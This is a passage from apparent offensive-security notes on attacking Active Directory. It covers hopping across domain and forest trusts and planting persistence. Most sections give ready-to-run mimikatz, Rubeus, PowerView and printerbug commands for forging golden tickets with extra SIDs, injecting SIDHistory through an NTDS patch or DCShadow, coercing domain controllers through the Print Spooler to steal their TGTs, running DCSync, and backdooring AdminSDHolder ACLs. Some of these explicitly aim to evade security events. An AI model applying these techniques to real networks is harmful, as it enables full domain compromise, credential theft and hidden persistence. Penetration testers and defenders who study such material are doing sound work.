| `S-1-5-32-548`                                                  | Account Operators                                   | AlwaysFilter                                                                                                                                                                                                                                                                                                                                                     |
| `S-1-5-32-549`                                                  | System Operators                                    | AlwaysFilter                                                                                                                                                                                                                                                                                                                                                     |
| `S-1-5-32-550`                                                  | Print Operators                                     | AlwaysFilter                                                                                                                                                                                                                                                                                                                                                     |
| `S-1-5-32-551`                                                  | Backup Operators                                    | AlwaysFilter                                                                                                                                                                                                                                                                                                                                                     |
| `S-1-5-32-555`                                                  | Remote Desktop Users                                | AlwaysFilter                                                                                                                                                                                                                                                                                                                                                     |
| `S-1-5-32-R`                                                    | Other Built-in Accounts                             | AlwaysFilter                                                                                                                                                                                                                                                                                                                                                     |

*SID filtering policy for intra-forest trusts*

`SID filtering` is by default disabled for all `intra-forest` trusts. Any eventual extra `SIDs` or `security group SIDs`, except the `SIDs` categorized as `Alwaysfiltered`, will thus be taken into account for the authorization and access control process whenever accessing resources through an `intra-forest` trust. In an Active Directory forest with trusts in their default configuration, the initial compromise of a domain of the forest can lead to the full compromise of the forest.

A form of `SID filtering` can be configured on `intra-forest` trusts by marking the trusts as `QuarantinedWithinForest`. In such configuration, the `trustAttributes` attribute of the `TDO` object defining the trust has its `TRUST_ATTRIBUTE_QUARANTINED_DOMAIN` bit set. The only `SIDs` that will be allowed across the trust are the `SIDs` from the trusted domain, the `SID` `Enterprise Domain Controllers` (`S-1-5-9`), categorized as `EDC`, and "the SID described by the `Trusted Domain Object (TDO)`".

Note that activation of the `QuarantinedWithinForest` mechanism for `intra-forest` trusts may give rise to operational issues and is not recommended. This is why the forest is commonly considered as a security boundary while the domain only as an operational boundary.

*SID filtering policy for inter-forests trusts*

The `SIDs` categorized as `Alwaysfiltered` and `ForestSpecific` are filtered across all `inter-forests` trusts (`CrossForest` and `External`) boundaries.

For `External` trusts, non-default domain users and groups `SIDs`, in the format `S-1-5-21-<Domain>-R` with `R >= 1000`, are not filtered.

`SID filtering` is however by default enabled for all `CrossForest` trusts and all `SIDs` that do not directly refer to the trusted domain or forest are filtered across the trust boundaries. This filtering can be relaxed by disabling the `SID filtering` mechanism. In such configuration, the `trustAttributes` attribute of the `TDO` object defining the trust has its `TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL` bit set and the trust is considered, for `SID` filtering, as an `External` trust (thus allowing non-default `SIDs` across the trust).

**Security mechanism: TGT delegation**

Security mechanisms restricting the delegation of `Ticket-Granting Ticket (TGT)` through `Kerberos unconstrained delegation` across trust boundaries were introduced in March - July 2019 security updates. The features were implemented on `Windows Server 2012`, and later, as well as backported to `Windows Server 2008`.

The restriction are implemented through two trust flags stored in the `trustAttributes` attribute of `TDO` objects:

* `CROSS_ORGANIZATION_NO_TGT_DELEGATION`
* `CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION`

As of `July 2019`, `TGT` delegation is by default disabled and must be explicitly enabled which result in the setting of the `CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION` flag. The `CROSS_ORGANIZATION_NO_TGT_DELEGATION` must also be unset in order for the `TGT` delegation to be effective.

In essence:

* If the `CROSS_ORGANIZATION_NO_TGT_DELEGATION` is set, `TGT` delegation is disabled if all Domain Controllers are running `Windows Server 2012` (or newer) or `Windows Server 2008 / 2008 R2` with March 2019 security updates.
* If the `CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION` flag is set (while the `CROSS_ORGANIZATION_NO_TGT_DELEGATION` flag is not) `TGT` delegation is possible across the trust (independently of the level of patching of the Domain Controllers).
* if neither flags are set, `TGT` delegation is allowed if Domain Controllers do not have the May 2019 security updates.

**Security mechanism: selective authentication**

By default, any users of the trusted domain or forest can authenticate to the `Domain Controllers` of the trusting domain or forest. This results in the possibility of conducting authenticated enumeration of the objects of the trusting domain / forest by all the users of the trusted domain / forest.

The `selective authentication` security restricts the authentication to specifically defined security principals.

### Forest and domain trusts enumeration

Various tools or utilities can be used to retrieve the trusts defined for a domain or at the forest level:

```
# Windows built-in command-line utility.
# Relies on the DsEnumerateDomainTrusts Win32 API and returns limited information:
nltest /trusted_domains

# PowerShell - Active Directory module / PowerView.
# Relies on LDAP queries and returns more exhaustive results.
Import-Module ActiveDirectory / Import-Module <PATH\Microsoft.ActiveDirectory.Management.dll>
Import-Module <PATH\PowerView.ps1>

# Trusts ONLY of the current domain. Does not recursively enumerates trusts of others domains in the forest.
Get-ADTrust -Filter *
Get-ADTrust -Filter * | Ft Name, Direction, DisallowTransivity, SIDFilteringQuarantined, SIDFilteringForestAware, TGTDelegation
Get-DomainTrust

# Enumerates all the trusts of the current forest.
(Get-ADForest).Domains | ForEach-Object { Get-ADTrust -Server $_ -Filter * -Properties *  | Ft Name, Direction, DisallowTransivity, SIDFilteringQuarantined, SIDFilteringForestAware, TGTDelegation }
Get-ForestTrust
```

In additions, more comprehension and automated Active Directory scanners implemented in `.NET`, such as `BloodHound` or `PingCastle`, include modules to enumerate trusts information. Refer to the `[ActiveDirectory] AD scanner` note for more information on how to conduct enumeration using automated scanners.

### Intra-forest trusts hopping

`Intra-forest` trusts that are not marked as `QuarantinedWithinForest` can be jumped after the initial compromise of a domain by simply adding the `Enterprise Admins` security group `SID` in the `SIDHistory` of an user of the compromised domain or directly in the `extra SIDs` field of a crafted `Kerberos ticket`. Alternatively, an `Enterprise domain controller` can be impersonated in order to conduct `DCSync` attacks on the root domain with out generating `Windows Security` events and possibly raising security alerts.

**Jumps using the SID History attribute**

Under normal circumstances, `SIDs` will only be added (automatically) to the `SIDHistory` attribute of a security principal during domain migration and cannot be manually added (but can be manually removed).

This restriction can be bypassed and `SIDs` added to a `security principal`'s `SIDHistory` attribute with `mimikatz` by either:

* executing code locally on a Domain Controller to patch its `NTDS` service
* registering a rogue Domain Controller to inject and replicate arbitrary modifications (attack known as `DCShadow`)

The following command can be used to validate the `SIDHistory` attribute modification:

```
Get-ADObject -Filter "(SamAccountName -eq '<SAMACCOUNTNAME>')" -Properties SIDHistory
```

*SID History modification through local patch of the NTDS service*

This technique of modification of the `SIDHistory` attribute requires privileges granted to the `Domain Admins` group and must be conducted on a Domain Controller as the `Windows NT Directory Services (NTDS)` service must be locally patched. While the `SID History` modification will persist, the `NTDS` service patch will not be persistent across reboot of the Domain Controller.

`mimikatz`'s `sid` module can be used to add `SIDs` in the `SIDHistory` attribute of any users of the current domain (the following commands must be executed directly on a Domain Controller):

```
# If necessary, elevate privileges to "NT AUTHORITY\SYSTEM" and enables the "SeDebugPrivilege" privilege.
mimikatz # token::elevate
mimikatz # privilege::debug

# Patches the ntds service.
# Only the first patch ("Patch 1/2 ntds service patched") is required for the attack (the second patch may rise an error, such as "ERROR kull_m_patch_genericProcessOrServiceFromBuild", with out incidence).
mimikatz # sid::patch

# Adds the given SID in the SIDHistory attribute of the specified user.
# S-1-5-21-<FOREST_DOMAIN>-519: SID of the "Enterprise Admins" group for example.
mimikatz # sid::add /sam:<SAMACCOUNTNAME> /new:<S-1-5-21-<FOREST_DOMAIN>-519 | EXTRA_SID>
```

*SID History modification through DCShadow*

The restriction on the modification of the `SIDHistory` attribute can be also bypassed through a `DCShadow` attack to arbitrarily set an account `SIDHistory` attribute. For more details on the `DCShadow` attack, refer to the "DCShadow ACL" section of this note.

**This technique will override any `SID(s)` currently present in the `security principal`'s `SIDHistory` attribute.**

```
# Two mimikatz interpreters (executed on a machine member of the domain) are required for the DCShadow attack:
# One running as "NT AUTHORITY\SYSTEM", the second as a domain user with enough privileges to conducted the DCShadow attack (usually a "Domain Admins").
# The following mimikatz commands must be executed sequentially (the /push must be done after the operation as been entered).

# First interpreter (executed as "NT AUTHORITY\SYSTEM").
mimikatz # lsadump::dcshadow /object:<USERNAME> /attribute:SIDHistory /value:<S-1-5-21-<FOREST_DOMAIN>-519 | SID>

# Second interpreter (executed as the privileged domain account).
mimikatz # lsadump::dcshadow /push
```

**Jumps using Kerberos Golden tickets**

The `mimikatz`'s `kerberos::golden` module can be used to generate `golden tickets` that may include arbitrary `extra SIDs` as well as arbitrary `group identifiers`. A golden ticket for the current domain can be generated, using one of the secrets of the current domain's `krbtgt` account, to include `SIDs` or `group identifiers` related to the root domain of the forest. The specified `SIDs` and / or `group identifiers` will, respectively, populate the `ExtraSids` and `GroupIds` fields of the ticket's `Privilege Attribute Certificate (PAC)`. For example, specification of the `SID` of the `Enterprise Admins` group (`S-1-5-21-<ROOTDOMAIN_ID>-519`) will effectively impersonate membership to the group and grant full access to the domains in the forest.

Through this level of privileges, the secrets of the `krbtgt` account can be retrieved through `DRSUAPI` replication functions, attack known as `DCSync`, or extracted from the Active Directory database `ntds.dit` after exfiltration from a Domain Controller. The secrets of `krbtgt` account can then further be used to craft `Golden tickets` for the root domain of the forest. For more information, refer to the `[ActiveDirectory] ntds.dit dumping` and `[ActiveDirectory] Golden Tickets` notes.

```
# Retrieves the FQDN and SID of the current domain for the /sid:<CHILD_DOMAIN_SID> parameter.
Get-ADDomain | Ft Name,DNSRoot,DomainSID
Get-ADDomain -Server <DC_IP | DC_HOSTNAME> -Credential <PSCREDENTIAL> | Ft Name,DNSRoot,DomainSID

# Retrieves the SID of the root domain of the forest, for any /sids:<IMPERSONATED_SIDS>.
Get-ADForest | Ft RootDomain
Get-ADForest -Server <DC_IP | DC_HOSTNAME> -Credential <PSCREDENTIAL> | Ft RootDomain
Get-ADDomain <ROOTDOMAIN> | Ft Name,DistinguishedName,DomainSID
Get-ADDomain -Server <DC_IP | DC_HOSTNAME> -Credential <PSCREDENTIAL> <ROOTDOMAIN> | Ft Name,DistinguishedName,DomainSID

# /sids:<IMPERSONATED_SID | LIST_IMPERSONATED_SIDS>: SID, or comma-separated list of SIDs, to add in the "ExtraSids" field of the crafted ticket's PAC.
# For example, to impersonate membership to the "Enterprise Admins" group: /sids:S-1-5-21-<ROOTDOMAIN_ID>-519
# /ptt: Injects the ticket directly in the current session.
mimikatz # kerberos::golden /user:<IMPERSONATED_USERNAME> [/rc4:<CHILD_DOMAIN_KRBTGT_NTLM> | /aes128:<CHILD_DOMAIN_KRBTGT_AES128> | /aes256:<CHILD_DOMAIN_KRBTGT_AES256>] /sid:<CHILD_DOMAIN_SID> /domain:<CHILD_DOMAIN_FQDN> /sids:<IMPERSONATED_SID | LIST_IMPERSONATED_SIDS> /ptt

# Impersonates an Enterprise domain controller to conduct DCSync attack with out raising Windows Security events
"Event 4662: An operation was performed on an object".
# /sids:<IMPERSONATED_SIDS>: S-1-5-21-<ROOTDOMAIN_ID>-516,S-1-5-9
# S-1-5-21-<ROOTDOMAIN_ID>-516: SID of the "Domain Controllers" group of the root domain.
# S-1-5-9: SID of the "Enterprise Domain Controllers" group.
mimikatz # kerberos::golden /user:<CHILD_DOMAIN_DC_NAME$> [/rc4:<CHILD_DOMAIN_KRBTGT_NTLM> | /aes128:<CHILD_DOMAIN_KRBTGT_AES128> | /aes256:<CHILD_DOMAIN_KRBTGT_AES256>] /sid:<CHILD_DOMAIN_SID> /domain:<CHILD_DOMAIN_FQDN> /id:<CHILD_DOMAIN_DC_SID> /groups:516 /sids:S-1-5-21-<ROOTDOMAIN_ID>-516,S-1-5-9 /ptt
```

### Inter-forests trusts hopping

**External and CrossForest trusts with out SID Filtering**

`Inter-forests` `external` and `CrossForest` trusts with out `SID Filtering` can be jumped by impersonating non-default security principals (`SID` `S-1-5-21-<Domain>-R` with R >= 1000). Depending on the targeted Active Directory domain configuration, this level of impersonation can likely be leveraged to elevate privileges on the domain or take control of the non-tier 0 assets (servers and workstations) in a properly hardened domain implementing an administrative tiering model.

Among many possibilities, the following techniques may be leveraged:

* Impersonation of membership to the `DnsAdmins` non built-in `domain local` group. Members of the `DnsAdmins` group can load and execute an arbitrary `Dynamic Link Library (DLL)` on the servers executing the Active Directory `DNS` service (usually the Domain Controllers). Refer to the `[ActiveDirectory] Operators to Domain Admins` note for more information on how to leverage impersonation of membership to the `DnsAdmins` group for privilege escalation.

  ```
  (Get-ADGroup -Identity "DnsAdmins").SID

  mimikatz # kerberos::golden /user:<IMPERSONATED_USERNAME> [/rc4:<CHILD_DOMAIN_KRBTGT_NTLM> | /aes128:<CHILD_DOMAIN_KRBTGT_AES128> | /aes256:<CHILD_DOMAIN_KRBTGT_AES256>] /sid:<CHILD_DOMAIN_SID> /domain:<CHILD_DOMAIN_FQDN> /sids:<IMPERSONATED_SID_DNSADMINS_GROUP> /ptt
  ```
* Impersonation of membership to non built-in groups having the necessary rights to make replication requests through the `DRSUAPI` functions (`DCSync` attack). For environment with an on-premise Exchange infrastructure with out the `February 12th 2019` security update applied, the non-default `Exchange Trusted Subsystem` and `Exchange Windows Permissions` security group may be (indirectly) granted such privileges. Indeed, for such Exchange installation in `Shared permissions` (default) or `RBAC split` permissions (common), the `Exchange Windows Permissions` group is granted `WriteDacl` on the `Domain root` object (which can be abused to grant oneself replication rights).
* Impersonation of membership to non built-in groups having administrator privileges on the tier 1 or 2 assets. Such groups can be identified through:
  * Local groups enumeration. Refer to the `[ActiveDirectory] Credentials theft shuffling` note for more information on how to enumerate members of the local `Administrators` groups.
  * Enumeration of the security principals having delegated read access to the `LAPS` password of multiple computers. The `Find-LAPSDelegatedGroups` PowerShell cmdlet can be used to conduct this enumeration. Refer to the `[ActiveDirectory] ACL exploiting` note for more information.
  * Groups naming convention, with the potential use of keywords such as "adm", "admin", etc. to tag privileged groups.

    ```
    Get-ADUser -Filter 'Name -like "*adm*"'
    ```

**External and CrossForest trusts with SID Filtering - "Printer Bug"**

Bidirectional `External` and `CrossForest` trusts with `SID Filtering` enabled may be jumped by leveraging a `Kerberos` `unconstrained delegation` on the source forest and the `Print Spooler` service on a Domain Controller of the targeted forest.

The attack is based on the fact that a `MSRPC` function exposed by the `Print Spooler` service (on the `MS-RPRN` interface) can be used to force the machine running the service to authenticate to a specified remote system. If the `Print Spooler` service is exposed on a Domain Controller, a `Kerberos` authentication of the Domain Controller machine account can thus be triggered to a controlled machine trusted for `unconstrained delegation`. This `Kerberos` authentication will result in the `TGT` of the Domain Controller machine account to be sent and further retrievable on the controlled machine. The obtained `TGT` can be used to request `Kerberos` `service tickets` under the identity of the Domain Controller, to conduct, for example replication operations (`DCSync`).

The attack requires the following prerequisites to be satisfied:

* An `External` and `CrossForest` trusts allowing `TGT` delegation. Refer to the "Security mechanism: TGT delegation" overview for the conditions in which this can be the case.
* The `Print Spooler` service to be enabled and exposed to at least one Domain Controller of the targeted forest.
* The control of a machine configured for `unconstrained delegation` on the source forest side. All Domain Controllers are by default trusted for `unconstrained delegation`.

*Identification and authentication trigger of Domain Controllers exposing the `Print Spooler` service*

Multiple tools can be used to scan the Domain Controllers of the targeted forest for exposed `Print Spooler` services:

```
PingCastle.exe --scanner spooler --scmode-dc --server <TARGET_FOREST_DC_FQDN>

Get-ADDomainController -DomainName <FOREST_NETBIOS_NAME | FOREST_FQDN> -Discover -ForceDiscover | ForEach-Object { gci \\$_\pipe\spoolss }
Get-ADDomainController -DomainName <FOREST_NETBIOS_NAME | FOREST_FQDN> -Discover -ForceDiscover | ForEach-Object { Get-SpoolStatus $_ }

rpcdump.py '<DOMAIN>/<USERNAME>:<PASSWORD>@<IP | HOSTNAME> | grep -i "MS-RPRN"
```

The `printerbug.py` Python script and `SpoolSample` can be used to trigger an authentication request to the specified host (using its hostname to generate a Kerberos authentication):

```
SpoolSample.exe <TARGET_IP | TARGET_HOSTNAME> <LHOST_HOSTNAME>

printerbug.py [<DOMAIN>/]<USERNAME>[:<PASSWORD>]@<TARGET_IP | TARGET_HOSTNAME> <LHOST_HOSTNAME>
```

For more information, refer to the `[L7] MSRPC - MS-RPRN "printer bug"` note.

*Optional - configuration of unconstrained delegation on a controlled machine*

The Domain Controllers are trusted for `Kerberos` `unconstrained delegation`.

However, if a Domain Controller (exposing the `Print Spooler` service) of the targeted forest is accessible from the attacking machine, a computer can be joined to the domain and configured to be trusted for `unconstrained delegation`. Doing so will allow to jump the trust with out deploying third party tools on a Domain Controller.

```
Add-Computer -DomainName <DOMAIN> -Server <DOMAIN>\<DC_HOSTNAME> -Credential <<DOMAIN>\<USERNAME> | <PSCredential>> -Restart -Force

Get-ADComputer -Identity <CONTROLLED_MACHINE_HOSTNAME> | Set-ADAccountControl -TrustedForDelegation $True
```

*TGT extraction and usage*

The `TGT` of the Domain Controller machine account received after triggering the `Print Spooler` service authentication can be extracted using `Rubeus`'s `monitor` module:

```
# The TGTs will be extracted every 60 seconds by default.
Rubeus.exe monitor /nowrap /interval:<2 | INTERVAL_IN_SECONDS>
```

The base64 encoded ticket can be injected in the current session using, among others, `Rubeus`'s `ptt` module:

```
Rubeus.exe ptt /ticket:<TICKET_BASE64 | TICKET_BASE64_FILE_PATH | TICKET_KIRBI_FILE_PATH>

# Confirms that the TGT is injected in the current session.
klist

  #X>     Client: <DC_MACHINE_ACCOUNT>$ @ <DOMAIN_FQDN>
          Server: krbtgt/<DOMAIN_FQDN> @ <DOMAIN_FQDN>
```

Replication operations, attack known as `DCSync`, can then be conducted, using `mimikatz` for example, through the session in which the Domain Controller machine account's `TGT` was injected. The specified Active Directory objects' sensible information (`NTLM` hash and `Kerberos` secrets) can be remotely retrieved.

```
mimikatz # lsadump::dcsync /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /user:<krbtgt | USERNAME>
```

For more information on how to make use of the obtained `TGT` and conduct the `DCSync` attack, notably from a Linux attacking machine, refer to the `[ActiveDirectory] Kerberos tickets usage` and `[ActiveDirectory] ntds.dit dumping` notes.

***

### References

<https://docs.microsoft.com/fr-fr/azure/active-directory-domain-services/concepts-forest-trust> <https://blogs.msmvps.com/acefekay/2016/11/02/active-directory-trusts/> <https://docs.microsoft.com/en-us/openspecs/windows\\_protocols/ms-adts/c9efe39c-f5f9-43e9-9479-941c20d0e590> <https://docs.microsoft.com/en-us/openspecs/windows\\_protocols/ms-adts/e9a2d23c-c31e-4a6f-88a0-6646fdb51a3c> <https://docs.microsoft.com/en-us/openspecs/windows\\_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962> <https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/> <https://gist.github.com/xan7r/ca99181e3d45ee2042425f4f9181e614> <https://docs.microsoft.com/en-us/openspecs/windows\\_protocols/ms-pac/55fc19f2-55ba-4251-8a6a-103dd7c66280> <https://www.ssi.gouv.fr/uploads/IMG/pdf/Aurelien\\_Bordes\\_-_Secrets\\_d\\_authentification\\_episode\\_II\\_Kerberos\\_contre-attaque_--\\_planches.pdf> <https://github.com/wavestone-cdt/MISC-AD-trusts-relationships/SIDHistoryInjection> <http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/> <https://support.microsoft.com/fr-fr/help/4490425/updates-to-tgt-delegation-across-incoming-trusts-in-windows-server> <https://github.com/vletoux/pingcastle/issues/9>


# Post Exploitation - Persistence

### Kerberos "golden" / "silver" tickets

### SID History

The access to securable resources, that is resources that define a `security descriptor`, is based on the `security principal`'s (user or machine account and security group notably) `SID`, eventual extra `SIDs`, and `security group SIDs`. Indeed, these `SIDs` are compared to the access rights defined in the `Access Control Entries (ACEs)` of the accessed object's `Discretionary Access Control List (DACL)`.

Adding a privileged `SID`, such as the one of the built-in domain Administrator account (`SID` `S-1-5-21-<DOMAIN>-500`), in the `SID History` of a non privileged user can thus be leveraged to maintain persistence in the domain through a seemingly standard user. In order to avoid detection, a non built-in user (`RID` > 1000) member of a privileged group (`Enterprise Admins`, `Domain Admins`, `Administrators`, etc.) may be preferred. The persistence will be operational until the impersonated user is deleted or removed from the privileged group(s).

Under normal circumstances, `SIDs` will only be added (automatically) to the `SIDHistory` attribute of a security principal during domain migration and cannot be manually added (but can be manually removed).

This restriction can be bypassed and `SIDs` added to a `security principal`'s `SIDHistory` attribute with `mimikatz` by either:

* executing code locally on a Domain Controller to patch its `NTDS` service
* registering a rogue Domain Controller to inject and replicate arbitrary modifications (attack known as `DCShadow`)

The following command can be used to validate the `SIDHistory` attribute modification:

```
Get-ADObject -Filter "(SamAccountName -eq '<SAMACCOUNTNAME>')" -Properties SIDHistory
```

**SID History modification through local patch of the NTDS service**

This technique of modification of the `SIDHistory` attribute requires privileges granted to the `Domain Admins` group and must be conducted on a Domain Controller as the `Windows NT Directory Services (NTDS)` service must be locally patched. While the `SID History` modification will persist, the `NTDS` service patch will not be persistent across reboot of the Domain Controller.

`mimikatz`'s `sid` module can be used to add `SIDs` in the `SIDHistory` attribute of any users of the current domain (the following commands must be executed directly on a Domain Controller):

```
# If necessary, elevate privileges to "NT AUTHORITY\SYSTEM" and enables the "SeDebugPrivilege" privilege.
mimikatz # token::elevate
mimikatz # privilege::debug

# Patches the ntds service.
# Only the first patch ("Patch 1/2 ntds service patched") is required for the attack (the second patch may rise an error, such as "ERROR kull_m_patch_genericProcessOrServiceFromBuild", with out incidence).
mimikatz # sid::patch

# Adds the given SID in the SIDHistory attribute of the specified user.
# For example, S-1-5-21-<DOMAIN>-500 for built-in domain Administrator account.
mimikatz # sid::add /sam:<SAMACCOUNTNAME> /new:<S-1-5-21-<FOREST_DOMAIN>-519 | EXTRA_SID>
```

**SID History modification through DCShadow**

The restriction on the modification of the `SIDHistory` attribute can be also bypassed through a `DCShadow` attack to arbitrarily set an account `SIDHistory` attribute. For more details on the `DCShadow` attack, refer to the "DCShadow ACL" section of this note.

**This technique will override any `SID(s)` currently present in the `security principal`'s `SIDHistory` attribute.**

```
# Two mimikatz interpreters (executed on a machine member of the domain) are required for the DCShadow attack:
# One running as "NT AUTHORITY\SYSTEM", the second as a domain user with enough privileges to conducted the DCShadow attack (usually a "Domain Admins").
# The following mimikatz commands must be executed sequentially (the /push must be done after the operation as been entered).

# First interpreter (executed as "NT AUTHORITY\SYSTEM").
mimikatz # lsadump::dcshadow /object:<USERNAME> /attribute:SIDHistory /value:<S-1-5-21-<FOREST_DOMAIN>-519 | SID>

# Second interpreter (executed as the privileged domain account).
mimikatz # lsadump::dcshadow /push
```

### PrimaryGroupID

The `PrimaryGroupID` attribute of an user or machine account contains the `Relative IDentifier (RID)` of a domain group and gives an implicit membership to the specified group. The `PrimaryGroupID` attribute is used to support integration of `UNIX POSIX` clients but is not otherwise specifically used in `Active Directory`.

The group membership granted by the `PrimaryGroupID` attribute does not appear in the account's `MemberOf` nor in the group's `Members` `LDAP` attributes. It will however be included in `constructed attributes` "constructed" through Microsoft APIs (such as group membership returned by the `Active Directory` PowerShell module, `MMC`'s snappins, the `net` utility, etc.). It can thus be used, to a certain extent, to dissimulate membership of a standard account to a privileged group.

In `kerberos` authentication, the `PrimaryGroupID` attribute of an account populate the account's `kerberos` tickets `_KERB_VALIDATION_INFO`'s `PrimaryGroupId` and `GroupIds` fields (in the tickets' `Privilege Attribute Certificate (PAC)`).

Depending on the account type, the account's `PrimaryGroupID` attribute takes a different default value:

| Account type                                 | PrimaryGroupID | Corresponding group                                                                                                      |
| -------------------------------------------- | -------------- | ------------------------------------------------------------------------------------------------------------------------ |
| User account                                 | `513`          | <p><code>Domain Users</code><br><br>constant: <code>DOMAIN\_GROUP\_RID\_USERS</code></p>                                 |
| `Guest` account                              | `514`          | `Domain Guests`                                                                                                          |
| Machine account                              | `515`          | <p><code>Domain Computers</code><br><br>constant: <code>DOMAIN\_GROUP\_RID\_COMPUTERS</code></p>                         |
| Domain Controllers machine account           | `516`          | <p><code>Domain Controllers</code><br><br>constant: <code>DOMAIN\_GROUP\_RID\_CONTROLLERS</code></p>                     |
| Read Only Domain Controllers machine account | `521`          | <p><code>Read-only Domain Controllers</code><br><br>constant: <code>DOMAIN\_GROUP\_RID\_READONLY\_CONTROLLERS</code></p> |

Under normal circumstances, the account must be a member of the group specified in its `PrimaryGroupID` attribute. An error indeed occurs whenever trying to set the `PrimaryGroupID` attribute of an account to the `RID` of a group the account is a not a member of (error: "The specified user account is a not a member of the specified group account"). A similar error occurs whenever attempting to remove an account from the group set in its `PrimaryGroupID` (error: "The primary group cannot be removed. Set another group as primary if you want to remove this one".)

The restriction of membership can be bypassed through a `DCShadow` attack to arbitrarily set an account `PrimaryGroupID` attribute. For more details on the `DCShadow` attack, refer to the "DCShadow ACL" section of this note.

```
# Two mimikatz interpreters (executed on a machine member of the domain) are required for the DCShadow attack:
# One running as "NT AUTHORITY\SYSTEM", the second as a domain user with enough privileges to conducted the DCShadow attack (usually a "Domain Admins").
# The following mimikatz commands must be executed sequentially (the /push must be done after the operation as been entered).

# First interpreter (executed as "NT AUTHORITY\SYSTEM").
mimikatz # lsadump::dcshadow /object:<USERNAME> /attribute:PrimaryGroupID /value:<512 | 519 | GROUP_RID>

# Second interpreter (executed as the privileged domain account).
mimikatz # lsadump::dcshadow /push
```

The following command can be used to validate the `PrimaryGroupID` attribute modification:

```
Get-ADObject -Filter "(SamAccountName -eq '<SAMACCOUNTNAME>')" -Properties PrimaryGroupID
```

### AdminSDHolder ACL

*For a general overview of `Access Control Lists (ACL)`, refer to the `[ActiveDirectory] ACL exploiting` note.*

A number of predefined privileged built-in accounts and groups (including their members) are protected by the `SDProp` mechanism. `SDProp` is an automated process that ensure that the `ACL` defined on the aforementioned protected security principals match the `AdminSDHolder` object's `ACL` (and restore the expected `ACL` in case of mismatch).

In addition to verifying and eventually restoring `ACL`, the `SDProp` mechanism also disable `ACL` inheritance and set the `adminCount` attribute of the protected principals to `0x1`. Note that users and groups removed from the predefined privileged groups will no longer be protected by the `SDProp` mechanism but will keep their `adminCount` attribute set to `0x1` and `ACL` inheritance disabled.

The `SDProp` process runs every 60 minutes by default. This frequency of execution can be modified using the `HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\AdminSDProtectFrequency` registry key on the domain's PDC Emulator. Valid values range from 60 to 7200 seconds.

As of `Windows Server 2008`, the following privileged accounts and groups are protected by the `SDProp` mechanism:

* `Account Operators`
* `Administrator`
* `Administrators`
* `Backup Operators`
* `Domain Admins`
* `Domain Controllers`
* `Enterprise Admins`
* `Krbtgt`
* `Print Operators`
* `Domain Controllers`
* `Replicator`
* `Schema Admins`
* `Server Operators`

**Any `ACE` set directly on a protected account or group will not persist the `SDProp` process. Only the modification of the `AdminSDHolder` object's `ACL` may thus be used as a persistence mechanism on privileged principals.**

The domain's `AdminSDHolder` object is a `Container` located at `CN=AdminSDHolder,CN=System,<DOMAIN_ROOT_OBJECT>`. By default, only the `Domain Admins`, `Enterprise Admins`, and `Administrators` domain groups are granted the right to modify the `ACL` of the `AdminSDHolder` object:

```
IdentityReference     : <DOMAIN>\Domain Admins
ActiveDirectoryRights : GenericAll
AccessControlType     : Allow
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritanceFlags      : None

IdentityReference     : <DOMAIN>\Enterprise Admins
ActiveDirectoryRights : GenericAll
AccessControlType     : Allow
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritanceFlags      : ContainerInherit

IdentityReference     : BUILTIN\Administrators
ActiveDirectoryRights : WriteProperty, ExtendedRight, WriteDacl, WriteOwner, [...]
AccessControlType     : Allow
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritanceFlags      : ContainerInherit
```

The following PowerShell script can be used to manually trigger the `SDProp` mechanism (without interfering with the normal execution schedule):

```
# An arbitrary domain can be specified using: $DomainName = "<DOMAIN>".
$DomainName =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name

# The task name associated with the SDProp mechanism vary depending on the domain's PDC Emulator operating system.
# For <= Windows Server 2008: $Task = 'FixUpInheritance'
# For > Windows Server 2008: $Task = 'RunProtectAdminGroupsTask'
$Task = 'RunProtectAdminGroupsTask'

$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('domain',$DomainName)
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
$RootDSE = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($DomainObject.PdcRoleOwner.Name)/RootDSE")
$RootDSE.UsePropertyCache = $false
$RootDSE.Put($Task, "1")
$RootDSE.SetInfo()
```

A number of `ACE` may be used to maintain persistence by creating a control path through `AdminSDHolder` object's `ACL`:

* `GenericAll`
* `WriteOwner`
* `WriteDacl`
* `WriteProperty` / `GenericWrite` to all properties or property that can be used to take control of the object (`Member` attribute for groups, `Script-Path` for users, etc.)
* `AllExtendedRights` or `ExtendedRight` that grant control over the object (such as `ForceChangePassword`)

For more details on the aforementioned `ACE`, and techniques and tools to leverage them, refer to the `[ActiveDirectory] ACL exploiting` note (section `Users and groups permissions exploitation`).

The `ACL` modification can be done with `mmc.exe`'s `Active Directory Users and Computers (ADUC)` graphical snap-in or in PowerShell using the `PowerView`'s `Add-DomainObjectAcl` and `ActiveDirectory` module's `Get-Acl` / `Set-Acl` cmdlets.

```
# Procedure to the modify AdminSDHolder object's ACL using ADUC.
# ADUC cannot be used to set more fine grained rights on the AdminSDHolder object (such as ExtendedRight's ForceChangePassword or WriteProperty to the Member attribute).
mmc.exe -> File -> Add/Remove Snap-in... (Ctrl + M) -> Active Directory Users and Computers
-> <DOMAIN> -> System -> right click AdminSDHolder -> Properties -> Security -> Advanced -> Add
-> Select a principal
-> Type: Allow
-> Applies to: This object only
-> Permissions: FullControl / Write all properties / Modify permissions / Modify owner

# Automated modification using PowerView's Add-DomainObjectAcl to grant the GenericAll and ExtendedRight's ForceChangePassword rights.
# The WriteMembers option is documented as WriteProperty to the Member attribute but is non functional.
Add-DomainObjectAcl -Verbose -TargetIdentity "CN=AdminSDHolder,CN=System,<DOMAIN_ROOT>" -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights <All | ResetPassword>

# Manual modification using PowerShell ActiveDirectory module, that can be used to set specific ACE.
$AdminSDHolder = "AD:\CN=AdminSDHolder,CN=System,<DOMAIN_ROOT_OBJECT>"
$User = '<USERNAME>'
